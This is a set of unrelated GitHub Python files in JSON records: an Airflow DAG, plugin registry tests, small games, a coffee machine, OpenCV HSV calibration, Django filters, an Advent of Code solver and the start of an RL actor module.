conn.close()\n\n# Register DAG in Apache Airflow\nwith DAG(\"spotify-etl\", start_date=datetime.datetime(2021,1,1), schedule_interval=\"@hourly\", catchup=False) as dag:\n get_recently_played_songs_data=PythonOperator(\n task_id=\"get_recently_played_songs_data\",\n python_callable=get_recently_played_songs\n )\n\n insert_into_db=PythonOperator(\n task_id=\"insert_into_database\",\n python_callable=insert_into_database\n )\n\n get_recently_played_songs_data >> insert_into_db","repo_name":"miguelwy/spotify-airflow-etl","sub_path":"dags/spotify-etl/spotify-etl.py","file_name":"spotify-etl.py","file_ext":"py","file_size_in_byte":5813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"42356977540","text":"import pytest\nfrom datahub.configuration.common import ConfigurationError\nfrom datahub.ingestion.api.registry import PluginRegistry\n\nfrom datahub_actions.action.action import Action\nfrom datahub_actions.action.action_registry import action_registry\nfrom datahub_actions.plugin.action.hello_world.hello_world import HelloWorldAction\n\n\ndef test_registry_nonempty():\n assert len(action_registry.mapping) > 0\n\n\ndef test_registry():\n fake_registry = PluginRegistry[Action]()\n fake_registry.register(\"hello_world\", HelloWorldAction)\n\n assert len(fake_registry.mapping) > 0\n assert fake_registry.is_enabled(\"hello_world\")\n assert fake_registry.get(\"hello_world\") == HelloWorldAction\n assert (\n fake_registry.get(\n \"datahub_actions.plugin.action.hello_world.hello_world.HelloWorldAction\"\n )\n == HelloWorldAction\n )\n\n # Test lazy-loading capabilities.\n fake_registry.register_lazy(\n \"lazy-hello-world\",\n \"datahub_actions.plugin.action.hello_world.hello_world:HelloWorldAction\",\n )\n assert fake_registry.get(\"lazy-hello-world\") == HelloWorldAction\n\n # Test Registry Errors\n fake_registry.register_lazy(\"lazy-error\", \"thisdoesnot.exist\")\n with pytest.raises(ConfigurationError, match=\"disabled\"):\n fake_registry.get(\"lazy-error\")\n with pytest.raises(KeyError, match=\"special characters\"):\n fake_registry.register(\"thisdoesnotexist.otherthing\", HelloWorldAction)\n with pytest.raises(KeyError, match=\"in use\"):\n fake_registry.register(\"hello_world\", HelloWorldAction)\n with pytest.raises(KeyError, match=\"not find\"):\n fake_registry.get(\"thisdoesnotexist\")\n\n # Test error-checking on registered types.\n with pytest.raises(ValueError, match=\"abstract\"):\n fake_registry.register(\"thisdoesnotexist\", Action) # type: ignore\n\n class DummyClass: # Does not extend Action.\n pass\n\n with pytest.raises(ValueError, match=\"derived\"):\n fake_registry.register(\"thisdoesnotexist\", DummyClass) # type: ignore\n\n # Test disabled actions\n fake_registry.register_disabled(\"disabled\", ModuleNotFoundError(\"disabled action\"))\n fake_registry.register_disabled(\n \"disabled-exception\", Exception(\"second disabled action\")\n )\n with pytest.raises(ConfigurationError, match=\"disabled\"):\n fake_registry.get(\"disabled\")\n with pytest.raises(ConfigurationError, match=\"disabled\"):\n fake_registry.get(\"disabled-exception\")\n","repo_name":"acryldata/datahub-actions","sub_path":"datahub-actions/tests/unit/action/test_action_registry.py","file_name":"test_action_registry.py","file_ext":"py","file_size_in_byte":2480,"program_lang":"python","lang":"en","doc_type":"code","stars":36,"dataset":"github-code","pt":"37"} +{"seq_id":"36058657332","text":"\nMENU = {\n \"espresso\": {\n \"ingredients\": {\n \"water\": 50,\n \"coffee\": 18,\n },\n \"cost\": 1.5,\n },\n \"latte\": {\n \"ingredients\": {\n \"water\": 200,\n \"milk\": 150,\n \"coffee\": 24,\n },\n \"cost\": 2.5,\n },\n \"cappuccino\": {\n \"ingredients\": {\n \"water\": 250,\n \"milk\": 100,\n \"coffee\": 24,\n },\n \"cost\": 3.0,\n }\n}\n\nresources = {\n \"water\": 300,\n \"milk\": 200,\n \"coffee\": 100,\n}\n\nis_on = True\n\n\ndef check_resources(available, needed):\n if 'water' in needed and available['water'] < needed['water']:\n result = {'not_enough': True, 'message': 'Sorry, not enough water.'}\n return result\n elif 'milk' in needed and available['milk'] < needed['milk']:\n result = {'not_enough': True, 'message': 'Sorry, not enough milk.'}\n return result\n elif 'coffee' in needed and available['coffee'] < needed['coffee']:\n result = {'not_enough': True, 'message': 'Sorry, not enough coffee.'}\n return result\n else:\n result = {'not_enough': False}\n return result\n\n\ndef get_money():\n pennies = int(input('How many pennies do you want to insert?\\n'))\n nickels = int(input('How many nickels do you want to insert?\\n'))\n dimes = int(input('How many dimes do you want to insert?\\n'))\n quarters = int(input('How many quarters do you want to insert?\\n'))\n\n money = {\n 'pennies': pennies,\n 'nickels': nickels,\n 'dimes': dimes,\n 'quarters': quarters\n }\n return (money['pennies'] * 00.1) + (money['nickels'] * 0.05) + (money['dimes'] * 0.10) + (money['quarters'] * 0.25)\n\n\ndef make_coffee(coffee):\n coffee = MENU[coffee]['ingredients']\n if 'water' in coffee: resources['water'] -= coffee['water']\n if 'milk' in coffee: resources['milk'] -= coffee['milk']\n if 'coffee' in coffee: resources['coffee'] -= coffee['coffee']\n\n\nwhile is_on:\n choice = input('What would you like?\\n').lower()\n\n if choice == 'report':\n print(f'Water: {resources[\"water\"]} ml')\n print(f'Milk: {resources[\"milk\"]} ml')\n print(f'Coffee: {resources[\"coffee\"]} ml')\n if 'money' in resources: print(f'Money: {resources[\"money\"]} $')\n elif choice != 'report' and choice != 'off':\n selected_coffee = choice\n money = get_money()\n if MENU[selected_coffee]['cost'] > money:\n print('Sorry, not enough money. Money refunded.')\n else:\n check_result = check_resources(resources, MENU[selected_coffee]['ingredients'])\n if check_result['not_enough']:\n print(check_result['message'])\n else:\n make_coffee(selected_coffee)\n if 'money' not in resources:\n resources['money'] = 0\n resources['money'] += MENU[selected_coffee]['cost']\n else:\n resources['money'] += MENU[selected_coffee]['cost']\n change = int(money - MENU[selected_coffee]['cost'])\n if change != 0:\n print(f'Enjoy your {selected_coffee} and come back soon! Your change is: {change} $')\n to_continue = input('Do you want another coffee?\\n').lower()\n if to_continue != 'no':\n continue\n else:\n is_on = False\n else:\n print(f'Enjoy your {selected_coffee} and come back soon!')\n to_continue = input('Do you want another coffee?\\n').lower()\n if to_continue != 'no':\n continue\n else:\n is_on = False\n elif choice == 'off':\n print('Turning off...')\n is_on = False\n\n","repo_name":"Anveks/Python-Basics","sub_path":"small projects/random/coffee-machine.py","file_name":"coffee-machine.py","file_ext":"py","file_size_in_byte":3851,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"4316815983","text":"from card_functions import *\nfrom deck_functions import *\n\nfrom random import choice\n\ndef initial_pairs(hand):\n '''Returns an initial list of pairs of values.'''\n pairs = []\n for cardx in hand:\n for cardy in hand:\n if get_value(cardx) == get_value(cardy) and get_suit(cardx) != get_suit(cardy) and cardx not in pairs and cardy not in pairs:\n pairs.append(cardx)\n pairs.append(cardy)\n for card in pairs:\n hand.remove(card)\n return pairs\n\ndef pairs(hand, pairs):\n '''Returns a list of pairs of values.'''\n for cardx in hand:\n for cardy in hand:\n if get_value(cardx) == get_value(cardy) and get_suit(cardx) != get_suit(cardy) and cardx not in pairs and cardy not in pairs:\n pairs.append(cardx)\n pairs.append(cardy)\n for card in pairs:\n if card in hand:\n hand.remove(card)\n\ndef ask_value(asker_hand, askee_hand, asker_pairs):\n '''Player asks for a value of a card they have in their hand.'''\n if len(asker_hand) > 0 and len(askee_hand) > 0:\n card = choice(asker_hand)\n value = get_value(card)\n for card_1 in askee_hand:\n if value == get_value(card_1):\n asker_pairs.append(card)\n asker_pairs.append(card_1)\n asker_hand.remove(card)\n askee_hand.remove(card_1)\n return True\n\ndef deal_card(asker_hand, asker_pairs, deck):\n '''Deals top card from the deck and compares value with the value the player asked fors or with another value in player hand. \n If no matches, card added to player hand.'''\n if len(deck) > 0:\n card = deal_top_card(deck)\n value = get_value(card)\n if len(asker_hand) > 0:\n player_ask = choice(asker_hand)\n if value == get_value(player_ask):\n asker_pairs.append(card)\n asker_pairs.append(player_ask)\n asker_hand.remove(player_ask)\n return True\n elif value != get_value(player_ask):\n for card_1 in asker_hand:\n if value == get_value(card_1):\n asker_pairs.append(card)\n asker_pairs.append(card_1)\n asker_hand.remove(card_1)\n break\n if card not in asker_pairs:\n asker_hand.append(card)\n else:\n asker_hand.append(card)\n\ndef turn(asker_hand, askee_hand, asker_pairs, deck):\n \"\"\"Initiates player's actions when it is player's turn.\"\"\"\n ask_value(asker_hand, askee_hand, asker_pairs)\n pairs(asker_hand, asker_pairs)\n if ask_value:\n ask_value(asker_hand, askee_hand, asker_pairs)\n deal_card(asker_hand, asker_pairs, deck)\n pairs(asker_hand, asker_pairs)\n if deal_card:\n ask_value(asker_hand, askee_hand, asker_pairs)","repo_name":"Excelsior2021/GoFish-Simulation","sub_path":"go_fish_functions.py","file_name":"go_fish_functions.py","file_ext":"py","file_size_in_byte":2918,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22429333864","text":"import os\nimport shutil\n\ndef stage_files(input_dir, output_dir, stage_rank, stage_size):\n \"\"\"\n Simple staging function which copies all files from input_dir to output_dir\n by stage_size participants.\n \"\"\"\n os.makedirs(output_dir, exist_ok=True)\n filenames = os.listdir(input_dir)\n\n for filename in filenames[stage_rank::stage_size]:\n shutil.copy(os.path.join(input_dir, filename),\n os.path.join(output_dir, filename))\n","repo_name":"hephaex/hpc_results_v1.0","sub_path":"LBNL/benchmarks/oc20/implementations/ocp-pytorch/ocpmodels/common/staging.py","file_name":"staging.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"34618541622","text":"import os\n\nop_dir = \"output\"\nop_dir_location = \"../.\"\ndata_dir_location = \"../.\"\ndata_dir = \"data_dir\"\npaper_dir = \"papers\"\nclusters_file = \"clusters.txt\"\ngraph_file =\"citegraph.txt\"\ncsx_paper_url=\"http://citeseerx.ist.psu.edu/viewdoc/similar?doi=__DOI__&type=sc\"\ndoi_clusterId_table = 'doi_clusterId'\nclusterId_doi_table = 'clusterId_doi'\nciteGraph_table = 'citeGraph'\nid_key = 'id'\nvalidate_ingest_url = False\ndb_name = 'montage'\nkey_label = 'key'\nvalue_label = 'data'\n\npaper_key_label = 'paper_key'\npapers_table = 'raw_papers'","repo_name":"NGS2Montage/PI_Demo_November2017_DAC","sub_path":"src/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75010140906","text":"# card\nfrom dataclasses import dataclass\nfrom enum import Enum\n\n#Card values\nclass CardValue(Enum):\n ONE = \"1\"\n TWO = \"2\"\n THREE = \"3\"\n FOUR = \"4\"\n FIVE = \"5\"\n SIX = \"6\"\n SEVEN = \"7\"\n EIGHT = \"8\"\n NINE = \"9\"\n TEN = \"10\"\n KNIGHT = \"Knight\"\n QUEEN = \"Queen\"\n KING = \"King\"\n ACE = \"Ace\"\n\n#Card suit (colors)\nclass CardSuit(Enum):\n HEARTS = \"♡\"\n DIAMONDS = \"♢\"\n SPADES = \"♠\"\n CLUBS = \"♣\"\n\nprint(__name__)\n\n#The card dataclass\n@dataclass\nclass Card:\n suit: CardSuit\n value: CardValue\n numeric_value: int\n #initiate a card\n def __init__(self, value, suit):\n self.value = value\n self.suit = suit\n self.numeric_value = self.get_value(value)\n \n #Print card suit and value\n def print(self):\n return f\"{self.suit.value} {self.value.value}\"\n\n @staticmethod\n def get_value(value: CardValue):\n if value.ONE:\n return 1\n if value.TWO:\n return 2\n return 3\n if value.FOUR:\n return 4\n if value.FIVE:\n return 5\n if value.SIX:\n return 6\n if value.SEVEN:\n return 7\n if value.EIGHT:\n return 8\n if value.NINE:\n return 9\n if value.TEN:\n return 10\n if value.KNIGHT:\n return 10\n if value.QUEEN:\n return 10\n if value.KING:\n return 10\n if value.ACE:\n return 11","repo_name":"liber09/BlackJack_python","sub_path":"card.py","file_name":"card.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3817968928","text":"\"\"\"This module contains a variety of tests for the csp.py module\"\"\"\nimport unittest\n\nfrom cone_search_plus import csp\nimport astropy.units as q\n\n \nclass TestStuff(unittest.TestCase):\n \"\"\"Tests for SourceList class\"\"\"\n def setUp(self):\n # Trappist-1\n self.ra = 346.6223683553692\n self.dec = -05.0413976917903\n\n # Look for targets within 2 arcminutes\n self.radius = 2*q.arcmin\n\n def test_SourceList(self):\n \"\"\"Test if Filter object is created properly\"\"\"\n # Perform the search\n self.sourcelist = csp.SourceList([self.ra, self.dec], self.radius)\n\n # Make sure the target is Trappist-1\n target = self.sourcelist.target['MAIN_ID'][0].decode('UTF-8')\n self.assertTrue(target == 'TRAPPIST-1')\n\n # Make sure we find 6 sources\n self.assertEqual(len(self.sourcelist.sources), 6)","repo_name":"hover2pi/cone_search_plus","sub_path":"tests/test_csp.py","file_name":"test_csp.py","file_ext":"py","file_size_in_byte":868,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"12063133661","text":"import cv2\nimport sys\nimport numpy as np\nimport basisklassen_cam as bkc\nimport csv\n\ndef hsv_helper(img):\n def nothing(x):\n pass\n # Create a window\n window_id='Press q to quit'\n cv2.namedWindow(window_id)\n # create trackbars for color change\n cv2.createTrackbar('HMin',window_id,0,255,nothing) # Hue is from 0-179 for Opencv\n cv2.createTrackbar('HMax',window_id,0,255,nothing)\n cv2.createTrackbar('SMin',window_id,0,255,nothing)\n cv2.createTrackbar('SMax',window_id,0,255,nothing)\n cv2.createTrackbar('VMin',window_id,0,255,nothing)\n cv2.createTrackbar('VMax',window_id,0,255,nothing)\n \n \n # Set default value for MAX HSV trackbars.\n cv2.setTrackbarPos('HMax', window_id, 255)\n cv2.setTrackbarPos('SMax', window_id, 255)\n cv2.setTrackbarPos('VMax', window_id, 255)\n # Initialize to check if HSV min/max value changes\n hMin = sMin = vMin = hMax = sMax = vMax = 0\n output = img\n while(1):\n\n # get current positions of all trackbars\n hMin = cv2.getTrackbarPos('HMin',window_id)\n sMin = cv2.getTrackbarPos('SMin',window_id)\n vMin = cv2.getTrackbarPos('VMin',window_id)\n hMax = cv2.getTrackbarPos('HMax',window_id)\n sMax = cv2.getTrackbarPos('SMax',window_id)\n vMax = cv2.getTrackbarPos('VMax',window_id)\n # Set minimum and max HSV values to display\n lower = np.array([hMin, sMin, vMin])\n upper = np.array([hMax, sMax, vMax])\n # Create HSV Image and threshold into a range.\n hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)\n mask = cv2.inRange(hsv, lower, upper)\n output = cv2.bitwise_and(img,img, mask= mask)\n cv2.imshow(window_id,output)\n if cv2.waitKey(30) == ord('q'):\n break\n # calibration_dict = {\"hMin\": hMin, \"sMin\": sMin, \"vMin\": vMin, \"hMax\": hMax, \"sMax\": sMax, \"vMax\": vMax}\n write2csv(hMin, sMin, vMin, hMax, sMax, vMax)\n cv2.destroyAllWindows()\n\ndef write2csv(hMin, sMin, vMin, hMax, sMax, vMax):\n\n header = ['hMin', 'sMin', 'vMin', 'hMax', 'sMax', 'vMax']\n data = [hMin, sMin, vMin, hMax, sMax, vMax]\n\n with open('calibration_hsv.csv', 'w') as f:\n writer = csv.writer(f)\n\n # write the header\n writer.writerow(header)\n\n # write the data\n writer.writerow(data)\n\n\nc = bkc.Camera()\nimg = c.get_frame()\nc.release()\nhsv_helper(img)\n","repo_name":"mroigestr/Team_Israel_C2C","sub_path":"Code/calibrateHSV.py","file_name":"calibrateHSV.py","file_ext":"py","file_size_in_byte":2375,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"37983086029","text":"import django_filters\nfrom nba_stats.models import *\n\n\nclass PlayerFilter(django_filters.FilterSet):\n\tplayer_name = django_filters.CharFilter(\n\t\tfield_name='player_name',\n\t\tlabel='Player Name',\n\t\tlookup_expr='icontains'\n\t)\n\n\tplayer_height = django_filters.NumberFilter(\n\t\tfield_name='player_height',\n\t\tlabel='Player Height',\n\t\tlookup_expr='icontains'\n\t)\n\n\tplayer_weight = django_filters.NumberFilter(\n\t\tfield_name='player_weight',\n\t\tlabel='Player Weight',\n\t\tlookup_expr='icontains'\n\t)\t\n\t\n\tplayer_birth_year = django_filters.NumberFilter(\n\t\tfield_name='player_birth_year',\n\t\tlabel='Player Birth Year',\n\t\tlookup_expr='icontains'\n\t)\n\n\tplayer_birth_state = django_filters.ModelChoiceFilter(\n\t\tfield_name='player_birth_state',\n\t\tlabel='Player Birth State/Country',\n\t\tqueryset = StateCountry.objects.all(),\n\t\tlookup_expr='exact'\n\t)\n\n\tplayer_college = django_filters.ModelChoiceFilter(\n\t\tfield_name='player_college',\n\t\tlabel='Player College',\n\t\tqueryset = College.objects.all(),\n\t\tlookup_expr='exact'\n\t)\n\n\n\tteam = django_filters.ModelChoiceFilter(\n\t\tfield_name='team',\n\t\tlabel='Team',\n\t\tqueryset=Team.objects.all(),\n\t\tlookup_expr='exact'\n\t)\n\n\tseason = django_filters.ModelChoiceFilter(\n\t\tfield_name='season',\n\t\tlabel='Season',\n\t\tqueryset=Season.objects.all().order_by('season_year'),\n\t\tlookup_expr='exact'\n\t)\n\n\tclass Meta:\n\t\tmodel = Player\n\t\t# form = SearchForm\n\t\t# fields [] is required, even if empty.\n\t\tfields = []","repo_name":"chenyipeng1/NBA_database","sub_path":"django_app/nba_stats/filters.py","file_name":"filters.py","file_ext":"py","file_size_in_byte":1410,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21475787978","text":"import csv\n\n#arquivo csv salvo no meu pc\nwith open('names.csv', 'r') as csv_file:\n # csv_reader = csv.reader(csv_file, delimiter = '\\t')\n # for line in csv_reader:\n # print(line)\n\n #dicionario\n # csv_reader = csv.DictReader(csv_file)\n # for line in csv_reader:\n # print(line)\n\n\n # with open('new_nomes.cvs','w') as new_file:\n # csv_writer = csv.writer(new_file, delimiter='\\t')\n #\n # for line in csv_reader:\n # csv_writer.writerow(line)\n\n csv_reader = csv.DictReader(csv_file)\n with open('new_nomes.csv', 'w') as new_file:\n fieldnames = ['Nome', 'Sobrenome']\n csv_writer = csv.DictWriter(new_file, fieldnames=fieldnames, delimiter='-')\n\n csv_writer.writeheader()\n for line in csv_reader:\n del line['email']\n csv_writer.writerow(line)","repo_name":"GUI-FERREIRA/GUI-FERREIRA-SEII-GuilhermeFerreiradeJesus","sub_path":"Semana02/prog15.py","file_name":"prog15.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"35284405487","text":"'''\nup=Down\ndown = up\n\n\n'''\n\nfrom functools import total_ordering\nfrom operator import contains, le, pos\nfrom os import linesep, nice\nimport numpy as np\nfrom numpy.core.numeric import correlate\nfrom numpy.lib.arraysetops import intersect1d\n\ndigits_segments = {\n 0:\"abcefg\",\n 1:\"cf\",\n 2:\"acdeg\",\n 3:\"acdfg\",\n 4:\"bcdf\",\n 5:\"abdfg\",\n 6:\"abdefg\",\n 7:\"acf\",\n 8:\"acbdefg\",\n 9:\"abcdfg\"\n }\n\n\ndef main():\n input = get_input(False)\n\n #get meta lists\n #contained_in_list = common_seggs()\n\n #print(input)\n#Part 1-------------------------------------------------------\n #part 1 solution in 1 line \n #count = sum([len(get_sureList(entry[1])[0]) for entry in input])\n \n #in several lines:\n #count = 0\n #for entry in input:\n # output_value = entry[1]\n # sureDigits, corresponding_segs = get_sureList(output_value)\n # count+=len(sureDigits)\n\n # print(count)\n\n#Part 2-------------------------------------------------------\n \n\n counter = 0\n for entry in input:\n signal_pattern = entry[0]\n output_value = entry[1]\n \n sureList = get_sure_numbers(signal_pattern)\n sureList = deduce_others(sureList, signal_pattern)\n\n out_number_translated = translate(output_value, sureList)\n counter += out_number_translated\n #print(out_number_translated)\n print(counter)\n\ndef translate(segments, sureList):\n numbers = [[str(x[1]) for x in sureList if compare_segments(x[0], seg)][0] \\\n for seg in segments] \n return(int(\"\".join(numbers)))\n\ndef possible_by_len(check_seg):\n \n #len_to_numbers = {i: [x[0] for x in num_segs_to_digit(i)] for i in range(2,8)}\n len_to_numbers = {2: [1], 3: [7], 4: [4], 5: [2, 3, 5], 6: [0, 6, 9], 7: [8]}\n possibleList = len_to_numbers[len(check_seg)]\n return(possibleList)\n\ndef by_contain_contain_e(check_seg, sureList):\n letters = [\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\"]\n if(9 in [x[1] for x in sureList]):\n nine = [x[0] for x in sureList if x[1] ==9][0]\n e_letter = [x for x in letters if x not in nine][0]\n if e_letter in check_seg:\n #print(\"e inside\")\n return([0,2,6,8])\n else:\n #print(\"no e\")\n return([1,3,4,5,7,8])\n else:\n #print(\"no idea\")\n return([i for i in range(10)])\n \ndef possible_not_found(sureList):\n nums_discovered = [num for (seg,num) in sureList]\n return([i for i in range(0,10) if i not in nums_discovered])\n\ndef possible_by_contain(check_seg, sureList):\n contained_in_dict = {1: [3,9,0], 4:[9], 7:[3,9,0]}\n possible_list = []\n for (seg,num) in sureList:\n #print(num, seg, check_seg)\n commons = [x for x in check_seg if x in seg]\n if(len(seg)==len(commons)):\n #print(\"ok sure number in to check\")\n if num in contained_in_dict.keys(): \n possible_list.append(contained_in_dict[num])\n \n if(len(possible_list)>0):\n min_len = min([len(x) for x in possible_list])\n possible_list = list(filter( lambda x: len(x) == min_len, possible_list))[0]\n else:\n return([1,2,4,5,6,7,8])\n return(possible_list)\n\ndef deduce_recursive(segs_left, sureList):\n \"update sureList given the segs we still have to check\"\n for check_seg in segs_left:\n #print(check_seg)\n #possibilities given the len\n by_len = possible_by_len(check_seg)\n #filter by not found\n by_not_found = possible_not_found(sureList)\n #print(\" to be found:\",by_not_found)\n possibilities = [x for x in by_len if x in by_not_found]\n #print(by_not_found, possibilities)\n #filter by contained\n by_contain = possible_by_contain(check_seg, sureList)\n possibilities = intersect1d(possibilities , by_contain)\n #filtered by segment e inside (if we know 9)\n by_e = by_contain_contain_e(check_seg, sureList)\n possibilities = [x for x in possibilities if x in by_e]\n\n if(len(possibilities) == 1):\n sureList.append((check_seg, possibilities[0]))\n\n\n segs_left = [seg for seg in segs_left if seg not in [x[0] for x in sureList]]\n return(segs_left, sureList)\n \n\ndef deduce_others(sureList, signal_pattern):\n\n segs_left = [seg for seg in signal_pattern if seg not in [x[0] for x in sureList]]\n\n while(len(sureList)<10):\n segs_left, sureList = deduce_recursive(segs_left, sureList)\n \n #print(\"\\n success !!!!!!!!\")\n #print(\"SureList\",len(sureList),sureList)\n \n return(sureList)\n \n\ndef get_sure_numbers(segments):\n sureList = []\n for i, seg in enumerate(segments):\n possible = num_segs_to_digit(len(seg))\n if(len(possible)==1):\n real_num = possible[0][0]\n sureList.append((seg, real_num))\n return(sureList)\n\ndef get_sureList(segments):\n sureList = []\n for i, seg in enumerate(segments):\n possible = num_segs_to_digit(len(seg))\n if(len(possible)==1):\n #print(possible)\n real_num = possible[0][0]\n real_segs = possible[0][1]\n sureList.append((i,real_num, seg, real_segs))\n sureDigits = [x[1] for x in sureList]\n corresponding_segs = [(x[2], x[3]) for x in sureList]\n return(sureDigits, corresponding_segs)\n\n\ndef num_segs_to_digit(num):\n segs = ['abcefg', 'cf', 'acdeg', 'acdfg', 'bcdf', 'abdfg', 'abdefg', 'acf', 'acbdefg', 'abcdfg']\n return([(i,x) for i, x in enumerate(segs) if len(x)==num])\n\ndef compare_segments(seg_1, seg_2):\n return(sorted(seg_1)==sorted(seg_2))\n\ndef common_seggs():\n '''\n contained_in_list = common_seggs()\n '''\n segs = ['abcefg', 'cf', 'acdeg', 'acdfg', 'bcdf', 'abdfg', 'abdefg', 'acf', 'acbdefg', 'abcdfg']\n contained_in_list = []\n for i in [1,4,7,8]:\n seg_1 = segs[i]\n for j in [2,3,5,6,9,0]:\n seg_2 = segs[j]\n commons = [x for x in seg_1 if x in seg_2]\n if(len(seg_1)==len(commons)):\n contained_in_list.append((i,j))\n #print(\"number %d is contained in number %d\"%(i,j))\n #print(contained_in_list)\n return(contained_in_list)\n\n\n\n\n\ndef get_input(exBOOL = False):\n if(exBOOL): path = \"./day8/example_in.txt\" \n else: path = \"./day8/input.txt\" \n\n with open(path) as f:\n input = f.readlines()\n\n input = list(map(lambda x: x.replace(\"\\n\",\"\"), input))\n input = [[sub_x.split(\" \") for sub_x in x.split(\" | \")] for x in input]\n\n return (input)\n\n\nif __name__ == \"__main__\":\n main()\n\n","repo_name":"BastienZim/AdventOfCode","sub_path":"2021/day8/day8.py","file_name":"day8.py","file_ext":"py","file_size_in_byte":6585,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"33990434633","text":"import cv2\nimport numpy as np\nimport os\npts = []\n\n\ndef draw_roi(event, x, y, flags, param):\n img2 = img.copy()\n if event == cv2.EVENT_LBUTTONDOWN:\n pts.append((x, y))\n if event == cv2.EVENT_RBUTTONDOWN:\n pts.pop()\n if event == cv2.EVENT_MBUTTONDOWN:\n mask = np.zeros(img.shape, np.uint8)\n points = np.array(pts, np.int32)\n points = points.reshape((-1, 1, 2))\n mask = cv2.polylines(mask, [points], True, (255, 255, 255), 2)\n mask2 = cv2.fillPoly(mask.copy(), [points], (255, 255, 255))\n mask3 = cv2.fillPoly(mask.copy(), [points], (0, 255, 0))\n show_image = cv2.addWeighted(\n src1=img, alpha=0.8, src2=mask3, beta=0.2, gamma=0)\n cv2.imshow(\"mask\", mask2)\n cv2.imshow(\"show_img\", show_image)\n ROI = cv2.bitwise_and(mask2, img)\n cv2.imshow(\"ROI\", ROI)\n cv2.waitKey(0)\n if len(pts) > 0:\n cv2.circle(img2, pts[-1], 1, (0, 0, 255), -1)\n if len(pts) > 1:\n for i in range(len(pts) - 1):\n cv2.circle(img2, pts[i], 1, (0, 0, 255), -1)\n cv2.line(img=img2, pt1=pts[i], pt2=pts[i + 1],\n color=(255, 0, 0), thickness=1)\n cv2.imshow('image', img2)\n\n\nimg = cv2.imread(\"./img/Beach.jpg\")\ncv2.namedWindow('image')\ncv2.setMouseCallback('image', draw_roi)\n\nmask = np.zeros_like(img)\nwhile True:\n key = cv2.waitKey(1) & 0xFF\n if key == 27:\n break\n if key == ord(\"s\"):\n cv2.fillPoly(mask, [np.array(pts)], (255, 255, 255))\n cv2.imshow(\"mask\", mask)\n pts = []\ncv2.imshow(\"mask\", mask)\nfiles = os.listdir(\"./mask\")\nname = len(files) +1\nprint(files)\ncv2.imwrite(f\"./mask/mask{name}.jpg\", mask)\ncv2.waitKey()\n# cv2.destroyAllWindows()\n","repo_name":"phNguyen2301/seam_carve","sub_path":"drawRoi.py","file_name":"drawRoi.py","file_ext":"py","file_size_in_byte":1732,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29262853844","text":"w,h,x,y=input().split()\nw=int(w)\nh=int(h)\nx,y=int(x),int(y)\n\narea=w*h/2\n\ncount =0\nif w==2*x and h ==2*y:\n count=1\n\nprint('{:.6f} {}'.format(area,count))\n ","repo_name":"2017040264/buctoj-cfl","sub_path":"2021_10_22_ACM第一次/剪切.py","file_name":"剪切.py","file_ext":"py","file_size_in_byte":164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72695131627","text":"import numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport copy\nimport math\nfrom collections import deque\n# from PIL import Image\n\nimport utils\nfrom encoder import make_encoder, Action_encoder, Transition_model\n\n# import torchviz\n\nLOG_FREQ = 10000\n\n\ndef gaussian_logprob(noise, log_std):\n \"\"\"Compute Gaussian log probability.\"\"\"\n residual = (-0.5 * noise.pow(2) - log_std).sum(-1, keepdim=True)\n return residual - 0.5 * np.log(2 * np.pi) * noise.size(-1)\n\n\ndef squash(mu, pi, log_pi):\n \"\"\"Apply squashing function.\n See appendix C from https://arxiv.org/pdf/1812.05905.pdf.\n \"\"\"\n mu = torch.tanh(mu)\n if pi is not None:\n pi = torch.tanh(pi)\n if log_pi is not None:\n log_pi -= torch.log(F.relu(1 - pi.pow(2)) + 1e-6).sum(-1, keepdim=True)\n return mu, pi, log_pi\n\n\ndef weight_init(m):\n \"\"\"Custom weight init for Conv2D and Linear layers.\"\"\"\n if isinstance(m, nn.Linear):\n nn.init.orthogonal_(m.weight.data)\n m.bias.data.fill_(0.0)\n elif isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n # delta-orthogonal init from https://arxiv.org/pdf/1806.05393.pdf\n assert m.weight.size(2) == m.weight.size(3)\n m.weight.data.fill_(0.0)\n m.bias.data.fill_(0.0)\n mid = m.weight.size(2) // 2\n gain = nn.init.calculate_gain('relu')\n nn.init.orthogonal_(m.weight.data[:, :, mid, mid], gain)\n\n\nclass Actor(nn.Module):\n \"\"\"MLP actor network.\"\"\"\n\n def __init__(\n self, obs_shape, action_shape, hidden_dim, encoder_type,\n encoder_feature_dim, log_std_min, log_std_max, num_layers, num_filters\n ):\n super().__init__()\n\n self.encoder = make_encoder(\n encoder_type, obs_shape, encoder_feature_dim, num_layers,\n num_filters, output_logits=True\n )\n\n self.log_std_min = log_std_min\n self.log_std_max = log_std_max\n\n self.trunk = nn.Sequential(\n nn.Linear(self.encoder.feature_dim, hidden_dim), nn.ReLU(),\n nn.Linear(hidden_dim, hidden_dim), nn.ReLU(),\n nn.Linear(hidden_dim, 2 * action_shape[0])\n )\n\n self.outputs = dict()\n self.apply(weight_init)\n\n def forward(\n self, obs, compute_pi=True, compute_log_pi=True, 